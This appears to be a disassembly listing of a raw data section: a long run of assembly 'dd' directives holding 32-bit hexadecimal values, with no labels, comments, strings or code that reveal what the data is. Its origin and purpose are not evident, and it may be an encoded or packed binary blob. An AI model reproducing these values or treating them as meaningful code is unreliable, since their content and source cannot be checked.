dd 9719F086h, 0DC6AC122h, 4D008B69h, 0B2746FC8h, 12751F87h
dd 77FB5Ah, 9AC2A392h, 8A62FF68h, 0A07E42E9h, 0C64EDCA4h
dd 0DEF03B7h, 1E9EF5F1h, 25BE590Ch, 0ED99E3h, 7B6C346Bh
dd 2B93F116h, 0D220E60Ch, 305D51D3h, 0F2392997h, 0A80059D1h
dd 0AB31A07Ah, 0E681674Ch, 940600F8h, 0EA8A9F9Ch, 45546A72h
dd 0D76022F4h, 11680349h, 0FDA503FCh, 7D42FF2Ah, 0C124A901h
dd 0C3F918E4h, 28C678CCh, 0E41C2131h, 2BDA00B1h, 0FC256007h
dd 0BF02CAB2h, 276F4ECBh, 4CB4A1E1h, 0A0545A29h, 0E075584Fh
dd 0A8515AFh, 0E66B006Eh, 82EC581Fh, 1900732Eh, 0DF918824h
dd 352976h, 1AA5816Dh, 79EA4897h, 489AA8E8h, 0D3308402h
dd 4425BA39h, 0CF650028h, 3D83EC85h, 7476B9CEh, 0ABAF6A00h
dd 60F78A49h, 1F6F1816h, 3F7B317Eh, 0A49BCC01h, 0ADC28D1h
dd 90C31D8h, 0CF208002h, 3CEF4C93h, 0D601C0C9h, 13B7B933h
dd 4986D2C6h, 21F9A4DCh, 0B8D78301h, 1F101E6Dh, 0D8FC2040h
dd 58CE80FBh, 4500E892h, 75908843h, 678E47h, 0E409266Eh
dd 0C637B2FDh, 0FE063C76h, 554EC052h, 3EA1481h, 0BB01CBCDh
dd 28332320h, 2B8860DDh, 0F8B39512h, 79FBB00Ch, 0CF3E0027h
dd 54ACD104h, 3600436Fh, 0E6943129h, 1BE1Ch, 5810D9C9h
dd 0E56DEDE4h, 4CB0DF00h, 0BB189A7h, 0F6E901C0h, 83E11499h
dd 8B2C4124h, 0C99240C7h, 842EA55Bh, 0EE0F3137h, 0E6FE0089h
dd 58D6DFDCh, 30141852h, 2B14A0FBh, 0BE0EBC0Ah, 13816DC3h
dd 51C210C7h, 0D2F6A590h, 0E525AB01h, 0F0526987h, 0A0AE509Fh
dd 0A531C854h, 0C0BB2053h, 0E6155D00h, 3F70DD01h, 0A644BC16h
dd 24DCEA20h, 8A3827D8h, 80F847CEh, 0E19356BCh, 0C902E7AAh
dd 881EC5C7h, 55F5E0ECh, 987D7D24h, 0F5C82960h, 0F1F208DCh
dd 71941049h, 8BC9243Dh, 0EA400C51h, 14192E1h, 0C1C74841h
dd 0DA40CC04h, 32A0CD01h, 0B7D6E21Ch, 0EEB7920h, 11B2416Bh
dd 1AEF9603h, 6C7072D0h, 8E746705h, 2BC0204Bh, 3C68D0CAh
dd 0E0752CDh, 0F17EBAE9h, 9C6FEB3Fh, 9B411C28h, 0E038B607h
dd 42671080h, 0F70DE19Fh, 9CFD4C1Ch, 3861F300h, 0A1C8FA7h
dd 0EE3E4B52h, 98803B20h, 0E6AC680Fh, 6363060Ah, 2A28918h
dd 8AAA2021h, 0AE8FAB40h, 4AAE78A3h, 5B0E3A8h, 0E6D1EC01h
dd 7C2C67C4h, 3EDB8186h, 812CC818h, 0D9001AC5h, 0BEA10739h
dd 32BD0023h, 5A422CDAh, 0B66086D2h, 0DB7B8369h, 95710068h
dd 2EFE1D13h, 0DA2933C1h, 4803781Ah, 0A1B3EF60h, 69B14AC2h
dd 75AA20h, 0DF989AA2h, 3CEE0C88h, 6C7C8730h, 0E427B21h
dd 3A91B4E5h, 0EB344F4h, 7154B737h, 70C4F5h, 0B281E3A6h
dd 63614E93h, 7600DE7Bh, 96F8E495h, 18FA72C3h, 30649871h
dd 1D00123Ch, 0E58B0890h, 6211A297h, 339D817Ch, 43D1EE27h
dd 1C403F31h, 0CE7C101Ch, 11D4BD8h, 44E0076Bh, 8689B96Fh
dd 6E71C60Ah, 0F8950011h, 827F7A9Bh, 2F07D383h, 65F25F2Bh
dd 3B90F597h, 16C7BD5h, 93941076h, 87FB3862h, 6A96DFE9h
dd 986D8FE0h, 9A4834h, 45E6CE06h, 3C0E6173h, 0C0609721h
dd 29FF5F7h, 72FD004Fh, 9554B041h, 0B6001280h, 53B2F43Fh
dd 761AF3D3h, 7021387Dh, 78E13E8Ch, 0E66138D9h, 0FA13EB79h
dd 0F49F1430h, 9D2B00EEh, 96B0DC6Fh, 30C25217h, 25E7186Ch
dd 22D820DBh, 260075B7h, 8236BE08h, 29CCEE45h, 0BF4C50Dh
dd 4585F005h, 71384089h, 0A920E24Ah, 9FFCAE24h, 15D4C901h
dd 1BFC7907h, 0E529C30Fh, 0F9247219h, 8F400C89h, 9AFA9F2h
dd 21ED5AF3h, 2C004CD0h, 3D626887h, 4944E03h, 71561007h
dd 419C90DFh, 0E0CE40Ah, 6855F0FFh, 111742E7h, 27E2190h
dd 6CD25836h, 7884E04Eh, 0B1724046h, 0E4685FE2h, 70A23B90h
dd 2BDC3960h, 651498E7h, 0F0B4D3C1h, 268063h, 95F21218h
dd 0DA62DC8h, 7E7DAC00h, 71451AE4h, 451C068h, 9C1DEC43h
dd 0C83A282Ch, 7113F303h, 1217C64h, 6A18B4FBh, 0ECAB4AEFh
dd 58A1DF36h, 84DA1010h, 4FD7BB3h, 9F0159D9h, 5405E89h
dd 3D2C70F6h, 44477285h, 0F7050C5Eh, 0DDDF86CEh, 0ECA1A1C0h
dd 0F10B07B4h, 0D1DAD477h, 488514EFh, 0B703BEC8h, 0B99E117Ch
dd 0CD40E199h, 18645FF0h, 7169A653h, 3E1CA9C8h, 9A4F1AD5h
dd 77016678h, 795100B1h, 0C71D40EDh, 0E5299BCAh, 5905C891h
dd 0D427FABFh, 3C434564h, 1901E34Bh, 0D4BE04AEh, 0F6CC79F7h
dd 3C7B00E9h, 0C7115FC5h, 71502B49h, 620E5444h, 203F4AD1h
dd 4B3D2091h, 70C540AAh, 0A2B3C204h, 48CD6B7Ch, 0FB3822E6h
dd 0AB6D7120h, 0A4F30086h, 598BE60Eh, 29C09985h, 0ECEEBCC7h
dd 70A03A79h, 18186230h, 0C0E17C07h, 7803D636h, 0EE1AF66Bh
dd 3EA4C037h, 1389BA2h, 33A64184h, 0A44EF13Fh, 3A11AC19h
dd 615F3800h, 3FF199EBh, 0D90EC100h, 5672223Ch, 7B7F62h
dd 7313E93Ah, 59B04868h
dd 0A2D6B1Ah, 1B0541C1h, 9A22AC22h, 0C58BC600h, 3009D312h
dd 76DE268Ah, 1AE342DCh, 0D9126A20h, 789970h, 4BF9F8FDh
dd 0FC0034E1h, 8919EBBh, 1C4FF92h, 0FDCEB66h, 33181CDEh
dd 87D00008h, 0B3F8C08Ch, 55E8008Eh, 44AD36BDh, 71F605Fh
dd 174019F9h, 105BC27Bh, 56FA0C70h, 0DBC12138h, 6E0084A4h
dd 6CDFED6Fh, 757CFEh, 2608A11Fh, 0F64C9CCDh, 0CAF51000h
dd 0F36BC69h, 3860C6EBh, 0EA0049E5h, 9B83DB5h, 917E81h
dd 40DB2BB9h, 1E1869AAh, 0FCC6E42Ch, 0FD1A654Eh, 90C4400Eh
dd 5E152500h, 0A205E3A8h, 19996230h, 16FF76D6h, 2084EE2Dh
dd 0B14DA9A4h, 0C1900500h, 0D5D014DEh, 0F00200CAh, 10269FC6h
dd 32098DD4h, 184661A2h, 8075A840h, 0B30F5607h, 3497A288h
dd 2620D4A8h, 9B441C70h, 444180BEh, 0AC042E15h, 78C0B5F8h
dd 0C13318FFh, 0F09F1952h, 7FB889E6h, 2B7A848h, 6B07A21h
dd 6BC0E5CBh, 3D005C90h, 0F9C47D19h, 672C91Fh, 6F74F729h
dd 0F80051FCh, 1AF108B0h, 1403A907h, 883CEF56h, 7543329h
dd 0B9E33E63h, 3F577410h, 11CFB9B0h, 5E790007h, 0E4BF871h
dd 60621075h, 47811A20h, 29D6226Bh, 0E0050112h, 488AE536h
dd 0F7800D00h, 0D943CFABh, 3D233E03h, 393C7EFBh, 0C380E721h
dd 84DE72E5h, 26054F35h, 85039773h, 622FD420h, 1E8E0B7h
dd 84199AF6h, 207A1F34h, 2501B354h, 5F904DCFh, 422DE07h
dd 5018D407h, 0A6BD013h, 3300784Ch, 9CEEE2ECh, 4B4678Fh
dd 19DFBCC9h, 35288866h, 1F537544h, 41B31F91h, 4CB725C2h
dd 4B9BE090h, 0DB8310C3h, 0C8C10011h, 0E228E7B3h, 7818C97Dh
dd 19516D70h, 0F0B87964h, 0AFED0010h, 2D83E29Ah, 0EAB0D9EAh
dd 0D4353103h, 3FAC8523h, 6100A879h, 7956099Ah, 80A88389h
dd 0C7003D6Ah, 2463C4C0h, 267653Fh, 0F6377C47h, 0A1C391FBh
dd 0E4588EF8h, 68603B28h, 64133322h, 40815054h, 0CD9CDB7Eh
dd 3238004Fh, 9F507173h, 97244308h, 0E50E5C58h, 12249445h
dd 0B428E22Dh, 0CAA518FAh, 0F703440Eh, 0DD0178E0h, 2DA679CBh
dd 9BC4C4EBh, 0E03F255Dh, 80FF4827h, 9DA9DF40h, 58947152h
dd 80EB3CF6h, 0AE6BF0FCh, 252C72Dh, 0D5DC1B61h, 40C0C03Dh
dd 3C8969C6h, 5F0BECh, 0CB2DA3D0h, 4098343Eh, 18161004h
dd 50C18FEEh, 8FD6D09h, 0E1C0B429h, 0CBFF698Dh, 7E2B1100h
dd 0C4BFB2D0h, 355030Bh, 30EAD545h, 7CC1C6A2h, 83342C70h
dd 0E80B25C9h, 16C743h, 0D4FC9194h, 2166C263h, 52558900h
dd 0DDD079A3h, 7C250026h, 5B0E77F0h, 9090E498h, 0A408012Eh
dd 9B226D64h, 0DD331020h, 538100F1h, 73FD85AAh, 5244C75h
dd 2B4038DEh, 15F25BEh, 0C7838E5h, 0C8D49EBDh, 0A276605Ch
dd 0D254474Ch, 12E77C88h, 0B6DC97h, 0F702F468h, 100154A4h
dd 0FE36EE45h, 7960FC62h, 373F1803h, 51483970h, 160D53Bh
dd 28E6D46Eh, 0EC40C583h, 84EA3E4Bh, 44B0FAEEh, 80383448h
dd 19CAE928h, 0E47B1356h, 0BA940BBEh, 414F2400h, 70E09A8Eh
dd 0E2A5720Ch, 5A893Bh, 7F050721h, 51A3F5B9h, 7B58635Ch
dd 1F07688h, 0FAAF6FDCh, 80BB7117h, 0C5FFC819h, 394BDA83h
dd 0F2804Fh, 19D5AA03h, 0E09BE9C4h, 80E0DD4Ch, 5FBF908Eh
dd 0A59A0C45h, 0B01948DBh, 165A5000h, 0A7560660h, 43EB008Bh
dd 868CEA85h, 0CFE6A4C2h, 0CD00D492h, 2B4B96C1h, 26B35CD9h
dd 4078DDB6h, 0E7417B8Ah, 1A83F3Eh, 24EE7D26h, 53113EDCh
dd 0CA9CDC17h, 0B450BDh, 0D4A1C789h, 61A67FEFh, 0ADCD1800h
dd 790479Dh, 3EE1076Ah, 0F07C4208h, 880E54B1h, 38DDED2Ch
dd 85BD9540h, 5A7542h, 0E3629163h, 232D0DA8h, 0E0C2F500h
dd 79AE6C9Eh, 9990788Fh, 69DB00BCh, 505DE298h, 0BE97FD00h
dd 3754104h, 7D070077h, 191B3EA2h, 30C54821h, 0A0407071h
dd 43BDBC22h, 0DA840072h, 189E66E6h, 7D00EF11h, 0D92C0A1h
dd 419E4BDh, 850E7452h, 0AE1490B7h, 0B60014D4h, 1E0A6F34h
dd 7A0CA808h, 0D7750053h, 69951822h, 60FD2F66h, 0B8A8ACD4h
dd 0F302CDEDh, 3FFA20BCh, 586C46E1h, 2600642Ch, 36068689h
dd 0A2E27934h, 58846548h, 0C2ADC190h, 4AD810ACh, 0A474FB6Bh
dd 884B0367h, 1FC7E338h, 0CC72A2D2h, 3CEC7402h, 4E714DB9h
dd 0B2AF2040h, 6C983F28h, 391D3830h, 0F6DC10h, 54C10FF7h
dd 0EE3EDD36h, 0F444B89Ch, 8C444B60h, 0C22252F8h, 1530748h
dd 217CC594h, 3055E235h, 0D6FE07FCh, 0A774A902h, 44C23D50h
dd 9D580068h, 0D544C0A6h, 0A8006D5Eh, 79D3361Dh, 562099h
dd 2D1027ACh, 730776D2h, 1A053E7Eh, 7D897BF5h, 37BC6000h
dd 0ECE0D203h, 41A80F4Fh, 0AB806EAAh, 498A1097h, 4B5CB307h
dd 0F0B04E60h, 1EEC3BBFh, 894D4Fh, 0ED792E10h, 2C090B2Bh
dd 0C6549BCBh, 0E00701D8h, 83DBB197h, 537DF082h, 77177902h
dd 71B40EE4h, 1EDF00A4h, 19F8E527h, 6C78930Ah, 0CCA4EC79h
dd 0A4312B0Eh, 0A8B29BC8h, 0AE8EDF00h, 83344B1h, 0E4EF4105h
dd 4090432Bh, 0A0B718E5h, 6A2630h, 0FE8342A6h, 0FA713396h
dd 97E5BD0Bh, 44BC89ACh, 0E07F28h, 19BC364Ah, 457DC9ECh
dd 0CCCEE524h, 0A1EA380Ch, 0B2C70027h, 0C169DC31h, 7658DB41h
dd 0CFBA194h, 346EBF0h, 0AE627B7h, 91017041h, 2CAE8D12h
dd 22DCCFh, 98C01900h, 5AEC4B86h, 65001F75h, 48A74CEBh
dd 91E88E7h, 819E753Dh, 0B2B49424h, 0F2CB1E18h, 0B3990D00h
dd 0B872096Dh, 39C900A3h, 0FE6E24E1h, 6B00D11Dh, 2B1BB93Bh
dd 0F32A9EBh, 0B1B55569h, 0E23612A0h, 673B6E5Eh, 0BC02FD4Fh
dd 61898844h, 817BC0A9h, 2E9618ABh, 0C36C5056h, 0CD473D00h
dd 0B714DE32h, 6D7C007Ah, 22C42AD9h, 600A6CBh, 2455FEBFh
dd 0FD7F526h, 10BE47E3h, 45392BE1h, 3E6AEC88h, 957F7200h
dd 0F25F3162h, 0F768C47Dh, 414E0155h, 7E70BBB8h, 63110008h
dd 1347365Eh, 0C401D3E9h, 7EB6B01Dh, 0E980DEB1h, 0BD4A3A82h
dd 0A1A0AFE3h, 4E00203Eh, 45116B69h, 8AE0CBh, 1FDD2EEh
dd 0B454624Ch, 0BE30FEFEh, 315508B2h, 0F6CB00CEh, 2C19782Bh
dd 9C0F23AFh, 0E06896EBh, 12D04AD5h, 6F3133E5h, 0F013A7E1h
dd 120713FDh, 11424C21h, 0FB62C09Dh, 6CE94884h, 0FEE0B303h
dd 21C12FD7h, 557980BFh, 282AC1CFh, 0DBAD3F15h, 4A9E0072h
dd 1EBF93F7h, 0A7606B78h, 1DD3A669h, 10886040h, 71AA3584h
dd 68B98137h, 0D7473A93h, 5491B8C1h, 0FD838857h, 5E7EC84Eh
dd 3647848h, 7A3BA9B7h, 480A6849h, 0B8E93CB3h, 6860968Ch
dd 20370C91h, 0EE19F497h, 4241BF00h, 1E9A11D6h, 0A08B000Fh
dd 0F822E517h, 0F53AE9E4h, 6FF3C59h, 0BB1684Fh, 35A60A81h
dd 14487FE7h, 5E00455h, 30902BF7h, 0B1D8160Eh, 52CA5CD3h
dd 3E0EB093h, 0FB7860C5h, 638AD05h, 3017244Eh, 0BE4229B3h
dd 21CE2111h, 0B7223DC9h, 2F11CA42h, 3444719Dh, 16594458h
dd 0F9240h, 650999B2h, 0DCBEF438h, 0C2D39409h, 37A30339h
dd 6A8DB8EFh, 4E0400F7h, 632C8B67h, 84074393h, 951F08BAh
dd 0B098407Eh, 0E864E301h, 0D01A008Ah, 0C95AB57Ah, 5E03CD09h
dd 0A9F9F688h, 8C5E0DEh, 17BE00ECh, 7183D02Dh, 21E9D5DCh
dd 0C9E2D885h, 86125C00h, 1CA86EF1h, 3B150018h, 0A4DBA9CDh
dd 55006B73h, 0CCF98479h, 0ECED41h, 0F3F42F99h, 8AE7D6DAh
dd 882E2D01h, 3FC83B59h, 1F37C050h, 0EBEA0E1Bh, 0B1C005CBh
dd 563DB327h, 0F0909704h
dd 9980AA98h, 0AD46EDh, 343E776Fh, 0DE24A93Ah, 3898D800h
dd 0E11F7915h, 0AEF2008Eh, 11024E9Eh, 89004CABh, 4807F84Ah
dd 0DE387Ch, 4EBD7BACh, 0F1165E30h, 0FE062DEAh, 6D43FBCCh
dd 8D920090h, 0B965D00Ch, 0EE00E9E2h, 0A07CC928h, 37F15Ah
dd 0A4A708ABh, 0CD49205Ch, 0D2112C03h, 803CD97Ch, 0E4DB2CEh
dd 6D8EDC2Eh, 8406F020h, 78282C3Fh, 0C900D449h, 0E5CDC103h
dd 48690Ah, 7C123861h, 804D431Ah, 0D9537900h, 8B9BB4B5h
dd 0EC6318E2h, 0C2242015h, 61EF5000h, 4B0C79F1h, 0DBE60065h
dd 0EE197A73h, 0F44CB046h, 67E000C8h, 0D2D3A2D4h, 373801FFh
dd 0DF548ED9h, 553D20CFh, 0FC0EF800h, 0BAD5C76Ah, 0F6AD2E7Ch
dd 8312C4h, 3F235623h, 3E00BD5Bh, 97BC013Bh, 0E153A1h
dd 33C94D66h, 2C611BE6h, 0C4901500h, 1CAED1C3h, 930E03D6h
dd 3A75F682h, 41A0E1E0h, 15A82E00h, 6F676245h, 0FD790083h
dd 0EF889AB7h, 5B021976h, 803DD21Ah, 75CC4046h, 8FE60192h
dd 612308B9h, 0F5613094h, 5440F30Fh, 0CA49600Dh, 84306Bh
dd 18881659h, 0B0A31D11h, 0F83C8900h, 0D6DF408Ah, 0A13307DBh
dd 0E3F298CDh, 0FFD55E27h, 351881C0h, 81860077h, 328385D0h
dd 37001F89h, 53207CC7h, 19A36Fh, 84F6815Dh, 3183CFEAh
dd 0F29BE100h, 5E348F46h, 8CC0A0A4h, 0D78B0064h, 1697B24Bh
dd 0D0007E26h, 6E9D29CAh, 145A3524h, 0B4E5B707h, 0B2920D01h
dd 20E191DDh, 0F500A6B4h, 0B42142BBh, 248CC0h, 416BC753h
dd 1322BE32h, 64708676h, 8462890Bh, 0BF7984A4h, 0CBFC6CD1h
dd 3B07E422h, 4B1FEBB8h, 962D1100h, 0FCA0509Fh, 0C7E27E1Ah
dd 7AC37606h, 40FC7Fh, 8F633095h, 6B3B75E5h, 4546D600h
dd 7C9CB470h, 0B0FE647Dh, 553881F7h, 5D8F60B1h, 0F87F0600h
dd 4836083Ch, 38090720h, 50049D72h, 0FADD44F9h, 1A257304h
dd 14808BA8h, 48A24D6h, 0CCE14207h, 91BD004Eh, 3CF9F75Dh
dd 0A68008FDh, 87D04F8Eh, 0A907FF96h, 150F4D44h, 0F9512880h
dd 0EB2F12D5h, 48D003B0h, 1D9867A9h, 4003CF7h, 0DF419007h
dd 28CEB41Bh, 0C03357h, 0B61ADA0Dh, 8C6AA80Ch, 0C0E0A670h
dd 75E1202Ch, 377CD600h, 2F406Dh, 960A2B09h, 0BA9D4EC4h
dd 28429405h, 0F0007D13h, 0C6CB74E7h, 1C5A07C2h, 0B00379A2h
dd 984B4408h, 0B7DEA419h, 11600C58h, 1EA03EBBh, 60DF8389h
dd 5ECC9001h, 2969F0B0h, 96E18E00h, 520F8D5Ah, 3BFA1A9h
dd 5D02BC8Bh, 4619D500h, 0D4F8B8C8h, 682ACD00h, 53D1CE96h
dd 0F750071h, 27C00CAEh, 0FA00873Ah, 19975763h, 34B288Ch
dd 1F416AF3h, 94C8CDABh, 8B0E5A27h, 0E0060B49h, 0AEFB584Fh
dd 0F5BC2E08h, 704400D4h, 4AD9732Dh, 0F4182200h, 205786CEh
dd 0E478E7h, 0FABDB698h, 0C171D891h, 5070B90Ch, 842092h
dd 0FEDB5E52h, 311481F0h, 7132F507h, 0CB6068C0h, 487B5Bh
dd 59D3C7D7h, 8B13B518h, 0CE81DB63h, 0E3F4989Eh, 0E4E8002Bh
dd 4117F360h, 0DD09566Fh, 60B1FB7Eh, 1DD101D5h, 0F123E3Ah
dd 0BF208CA0h, 0DB2E1814h, 87F49C00h, 2108AFC4h, 0D60C4C4Bh
dd 3146FC00h, 14EA8A04h, 342F072Ch, 12A0300h, 0F2B9664h
dd 0E27B8784h, 99FBE380h, 0EB1DB6A6h, 2400CB46h, 2D773A38h
dd 0EDB0971h, 8400EC62h, 830D42A9h, 110AAA00h, 0B9056BF7h
dd 5CC100D2h, 37CA43D4h, 54072529h, 0A096D53Fh, 9DDFB140h
dd 789758D3h, 0C4FA17h, 0B57E51CBh, 0CD380D4Ch, 0F7038074h
dd 0F8893C2Dh, 2BA10043h, 60CCE36Dh, 2501914Bh, 399E36E9h
dd 53E83D7Fh, 458C007Bh, 0D9E30527h, 0C0E18FCh, 426AA4C4h
dd 666235EEh, 240EA9Ch, 0B578DCA1h, 5D4039CAh, 4D04F511h
dd 450922CCh, 863DB8C0h, 0D7730Eh, 5FA98830h, 0BBFD44A8h
dd 9C1DD900h, 0B2F3E192h, 25C0FFAh, 0F74013CDh, 0B0F42865h
dd 80C17D3Ch, 0E49F672Ah, 2015E91Ch, 660BF56Ch, 101D4F9Dh
dd 8132A5F0h, 0F639E8D3h, 0FFFA4200h, 0E9132CD8h, 19EE0094h
dd 3BFB3828h, 91000F64h, 4C304760h, 2E6F1B59h, 2436452Bh
dd 8F3C1D45h, 2A408821h, 8799059Dh, 5C331200h, 63E6C142h
dd 6EE4009Eh, 783AF4F0h, 0EBEC94B6h, 0F33B2E00h, 0F6EC5758h
dd 0F4190063h, 2549CDE4h, 0FDA0CC61h, 51007848h, 7AD7F390h
dd 6D5ED1h, 41B9258Bh, 0FD4D7673h, 970035EAh, 9CD9F5BFh
dd 483DB8CAh, 797E8Ch, 0E3744E4h, 3C804512h, 0E721C800h
dd 0B6FDEC40h, 0EFC91F55h, 68634111h, 0E465B1B9h, 9F3EC897h
dd 0F770804Dh, 2A384405h, 2558031Fh, 0DA8A7BF8h, 9D0A98D6h
dd 584C5749h, 0B03B3358h, 0F4CE1CFFh, 29654085h, 8B972D55h
dd 8AE25A00h, 40A48811h, 0CEA81899h, 469AE131h, 321DDB2Eh
dd 1F43DF00h, 3740F4h, 0F945FB78h, 71A4C7B1h, 702E51Eh
dd 535C0100h, 204966h, 0B57DF2A3h, 5E605203h, 68C9D31Eh
dd 721BD680h, 0F714E7h, 615BBD71h, 0E6CDCE1Fh, 2B620B1Ch
dd 0B4384100h, 0A6E984h, 73D1776Bh, 1FD5D69Ch, 290ECDE4h
dd 0E044E54Ah, 4B14302Eh, 2F0617EDh, 0EC8100A4h, 8CDF6347h
dd 0E3601360h, 33A2228h, 0C1CBE4DDh, 6188DE87h, 0AC007F86h
dd 9BA2A3EBh, 1EDB470Eh, 4EFCD01Bh, 4A2057C5h, 4528702Dh
dd 0AC936800h, 0FB0D9856h, 34F700AAh, 94A01E1Fh, 0F50748CCh
dd 0B465B841h, 1C752DF0h, 0CE980020h, 15111D08h, 0F8FA4E54h
dd 221BE800h, 0BDA1E9A9h, 55A00052h, 0C6E7DD4Dh, 0FC01A6FFh
dd 85EF797Fh, 77E97387h, 2C58C0h, 0C4E79C90h, 8220437Bh
dd 4C298826h, 1C56C700h, 8EAE78h, 365E6BD9h, 33CB050Dh
dd 0B12FFF19h, 10DC4EE0h, 5EF400A7h, 8B234476h, 0BF3A20A2h
dd 701180A5h, 0C86D31B8h, 4C5E00F9h, 0A2572EEh, 0ED073B16h
dd 0D819C09Fh, 0A9E0DA10h, 2CF6387Eh, 78EC0079h, 1595E20Bh
dd 3E00A61Ah, 1B81C328h, 0B79C39h, 487C38EFh, 0A224BA35h
dd 0BFC17A00h, 635E02D8h, 5D220740h, 70FD64FBh, 7B3B3980h
dd 29C40500h, 0A73E91D4h, 1E400F7h, 22195650h, 0DB1C2F4Bh
dd 769CF17Ch, 80651CC0h, 73A1B84Ch, 0ADF000A2h, 0D1A034A9h
dd 0CD7095BFh, 0CE387B02h, 0A0FA55B9h, 83C9E2DCh, 30C10323h
dd 0E03FCD90h, 73C65790h, 6624D307h, 8AC0B0FCh, 0EDA918E9h
dd 6E3D60h, 80B8DE79h, 0D56D888Fh, 425E5100h, 0C7D99AF5h
dd 81700194h, 47A7C516h, 7AB7FCF6h, 7DB39C03h, 0C059853Bh
dd 9B41C3h, 0BB5D1ADBh, 542D1672h, 44AD1E00h, 6A2662ACh
dd 220900F7h, 0F5F3B4F4h, 0B81D63D1h, 354B15A5h, 3A9D8080h
dd 3C49BB90h, 0B500782Bh, 0A767FED7h, 1F72DF8Eh, 0B34ADB07h
dd 53A19F9Ch, 1AFCD88Ch, 180600C1h, 0D4D2B88Bh, 307BC04h
dd 5622C9E8h, 1D1EDB40h, 0E608004Ch, 49F54BEFh, 29607BB9h
dd 0D24D67AAh, 36DFAD7h, 77A7AEA3h, 88011E3Ch, 0C269C355h
dd 0BC8008A9h, 0BCF3F528h, 500E164h, 9C818D20h, 59D053h
dd 176BA85Eh, 41F45CB8h, 45ED3Eh, 1B2F3A34h, 708E806h
dd 0CF9EEB82h, 0B9F04787h, 29585B81h, 5160E889h, 7BAD9100h
dd 78A7C486h, 278E0080h, 106D6930h, 4E3C1396h, 0C4BC94ADh
dd 663CB0h, 0B9B48D2Eh, 14107960h, 80089887h, 4700343Bh
dd 0AE6F2ACEh, 0FA1FD3B1h, 5B40036Bh, 5135F0B0h, 7D97E55h
dd 0CF47533Ah, 0F2D44095h, 60729BC1h, 26AD8D00h, 0F3E7B6D9h
dd 5240003Dh, 0CD38564Ch, 0E0177C2h, 0E56D79B1h, 8E607CECh
dd 0A03D7C3Ah, 85739Ch
dd 0E4FEA5C5h, 2CC90C6Bh, 0ECEB4F00h, 95763A3Dh, 247163h
dd 0B317B4AEh, 4B04FCF7h, 0ACA52000h, 912DE710h, 0D08C0F14h
dd 23C0CE9Fh, 52CBBFA9h, 752ABE05h, 541DC20Fh, 3736803Ch
dd 957BF23Ch, 0DA281784h, 29BA0076h, 626F0E83h, 703F1C7Dh
dd 3D9207EFh, 2A10DFA7h, 3F01D87Dh, 1480EAABh, 0C98ADDC3h
dd 0E40091CBh, 37335BDCh, 631D3Eh, 0F6BF8F4Dh, 0D7CE1A01h
dd 0BBF9DA03h, 981924F3h, 0E08D8h, 0B878CD40h, 0DDA81D49h
dd 5DE2000h, 57FA9806h, 0FEC40FABh, 47FFE3CDh, 0AB489286h
dd 0A123AF03h, 0BC4438E8h, 5F0061F4h, 0AACE93CBh, 0E2AE1660h
dd 88B7000Ah, 396747Ch, 12001B10h, 24278AEFh, 902877D8h
dd 0D27D6Ah, 0BB33CAFh, 9A90EF0h, 5C7B3A7Bh, 0CC6DBA00h
dd 14A57F84h, 0BD79008Bh, 0E7A3CD69h, 4A000DFCh, 40969A5Dh
dd 36E7704h, 0F5780506h, 0A0978450h, 0FC5465A1h, 222CF72Ch
dd 88594003h, 6C72B8B7h, 0B5FA015Ah, 0C6CA811Ah, 0C52DC0FEh
dd 0D84A3900h, 0B0F8B6C4h, 0B5C204F5h, 0C0119A53h, 1A970136h
dd 0A328C800h, 75432508h, 5D4B094Eh, 0F08E324Ch, 0CA989C40h
dd 8200E5F7h, 8F75F4F2h, 0C0254Ah, 273C6247h, 0EE9578F0h
dd 0B09E1500h, 0A53F0B5Ch, 6DE2B4h, 26E1A32h, 6C0A0DC0h
dd 30783609h, 42CE0051h, 5659C82h, 59CEBC85h, 0BA9801F3h
dd 0E3E68D35h, 0A4C3D3D0h, 4ABC3603h, 0D0DDCC4Bh, 0E01CB2h
dd 68BACBD1h, 0DB777C7Bh, 70874830h, 88802Bh, 0E7FFBEF5h
dd 0ACB813D2h, 0B001E800h, 0BAD0DC0Ah, 610C0009h, 7B6B41A9h
dd 6348A646h, 0F9DB00EAh, 0B174EEF1h, 50B80092h, 31E26DD3h
dd 0C800DAEBh, 0C5FD0212h, 63FF25h, 0D9A1AAC7h, 9187BD05h
dd 7DF50E00h, 0F0AB506Dh, 2D7CA7h, 0A4447E34h, 6F3776ACh
dd 6CB85C7Dh, 216BD207h, 8BB02010h, 7BC1182Bh, 9E573A3Bh
dd 14A90F00h, 0B7F5B456h, 0F3C57600h, 122B1A96h, 1E653D39h
dd 6C8DB080h, 38CFEEFDh, 142A7107h, 0D0FBB5F3h, 0F59E58CAh
dd 0C6D82003h, 0EC905A51h, 9000970Eh, 0CDDECB2Dh, 4868A081h
dd 3E00009Ah, 123FB683h, 0C4605618h, 9ADA4571h, 0CFDC0093h
dd 153FE872h, 10A95918h, 6B402DDh, 3E1B0891h, 0C320E8D7h
dd 5B6DE0D4h, 7DBF5870h, 10B7526h, 975AC685h, 0DD76F8FBh
dd 59E7A200h, 2411999Ch, 3B570047h, 747BD13Eh, 0B67A8B38h
dd 0A89B2F30h, 0E868F3h, 6E96FC4Eh, 0B66AA6C1h, 258DC400h
dd 4C76C0D5h, 0F3010012h, 9F091342h, 4566DC7Ah, 901B40h
dd 0EF049770h, 0EDA4D6BFh, 0BDEAD500h, 0AC3992F9h, 1F5E42Bh
dd 5599BC5Ah, 402E1309h, 2922B7B9h, 6F812C01h, 6E637E16h
dd 0F64B120h, 685CA4EDh, 9D0A1380h, 780CB617h, 0B02BBE79h
dd 8B690096h, 626A4B2Eh, 4E00E72Dh, 5F191F5Dh, 2A721CEDh
dd 0A8B5F2h, 2A2B911Eh, 208FCCF5h, 4A260100h, 0CE146729h
dd 18FD7010h, 31BCF218h, 9948EEADh, 0BF5D01DFh, 0D88A44C4h
dd 7E766ADCh, 289760D9h, 0FEFC4774h, 33D5DE0Fh, 83E034A6h
dd 0C8182DA2h, 99B73Dh, 0E3FF6A5Bh, 713647D4h, 8A8BDF06h
dd 0C90EBFh, 1A3FAA4Bh, 3ED5038Fh, 80CDBE39h, 0EC1F99CFh
dd 6EEFC6h, 476A2191h, 5539B5E6h, 94A5D51Fh, 13D71B0h
dd 0C50F0020h, 81521793h, 0E61BC883h, 0B020B91Fh, 0A81045h
dd 552731FEh, 772C38D2h, 0F0B9A10Fh, 9ADBE079h, 0C7BF482Bh
dd 4CA5DE31h, 0B500BEA1h, 76EFB19Eh, 7B383F7h, 0C6247DB0h
dd 0EECE9074h, 0D50EF43Ah, 8070432Bh, 16C4091Bh, 7A41C713h
